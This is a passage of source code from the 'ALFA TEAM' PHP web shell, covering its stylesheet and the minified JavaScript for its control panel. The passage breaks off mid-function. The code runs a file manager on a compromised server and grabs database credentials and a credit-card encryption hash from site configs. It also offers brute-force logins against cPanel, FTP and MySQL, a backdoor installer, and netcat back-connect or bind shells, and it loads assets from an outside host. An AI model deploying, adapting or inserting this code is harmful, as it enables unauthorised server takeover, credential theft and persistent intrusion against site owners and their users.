alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}
<?php
echo "\r\n@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}\r\n@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}\r\n@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}\r\n@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}\r\n#alfaloader{\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:100px;height:100px;}\r\n#a_loader img{\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}\r\n.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:\"Comic Sans MS\";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:" . alfa_getColor("header_values") . ';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url(' . __showicon('alfamini') . ');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:' . ($GLOBALS['DB_NAME']['show_icons'] == '1' ? '0' : '1') . 'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url(' . __showicon('alfamini') . ');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url(' . __showicon('btn') . ');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;' . (!@is_writable($GLOBALS['cwd']) ? '}.dir{background-color:red;}' : '}') . '.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}' . alfaCssLoadColors() . '
</style>';
echo "<script type='text/javascript'>\r\nvar c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\r\nvar a_ = '" . htmlspecialchars(@$_POST['a']) . "';\r\nvar charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\r\nvar islinux = " . ($GLOBALS['sys'] != "win" ? 'true' : 'false') . ";\r\nvar post_encryption_mode = " . "true" . ";";
?>
var alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" path='/' href='#action=fileman&path=/'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g('FilesMan','"+r+l[i]+"/');\" path='"+r+l[i]+"/' href='#action=fileman&path="+r+l[i]+'/\' class="header_pwd">'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id='"+s+"' class='up_bar'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname='"+n+"']").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class="fmanager-row" id="tr_row_'+r+'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'+n+'" class="chkbx" id="checkbox'+r+'"><label for="checkbox'+r+'"></label></div></td><td id="td_row_'+r+'">'+p+'<div style="position:relative;display:inline-block;bottom:12px;"><a row="'+r+'" id="id_'+r+'" class="main_name" onclick="editor(\''+s+"','auto','','','','file');\" href=\"#action=fileman&path="+c_+"&file="+s+'" fname="'+n+'" ftype="file" path="'+c_+'" opt_title="">'+n+'</a></div></td><td><span style="font-weight:unset;" class="main_size">'+c+'</span></td><td><span style="font-weight:unset;" class="main_modify">'+_+'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'+u+'</span></td><td><a id="id_chmode_'+r+'" href="javascript:void(0)" onclick="editor(\''+s+"','chmod','','','','file')\">"+f+'</a></td><td><a id="id_rename_'+r+'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'rename','','','','file')\">R</a> <a id=\"id_touch_"+r+'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'touch','','','','file')\">T</a> <a id=\"id_edit_"+r+'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''+s+"', 'edit','','','','file')\">E</a> <a id=\"id_download_"+r+'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''+n+"', 'download')\">D</a><a id=\"id_delete_"+r+'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '+s+" # ?'); chk ? g('FilesMan',null,'delete', '"+s+"') : '';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id='loader_"+e+'\' class="options-loader-holder"><div parent="'+e+'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error"></div><img src=\'http://solevisible.com/images/loader.svg\'></div>')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"¤t_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML='<label class="inputfile" for="'+e+'"><span id="__fnameup'+upcount+'"></span> <strong> Choose a file</strong></label><input id="'+e+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var 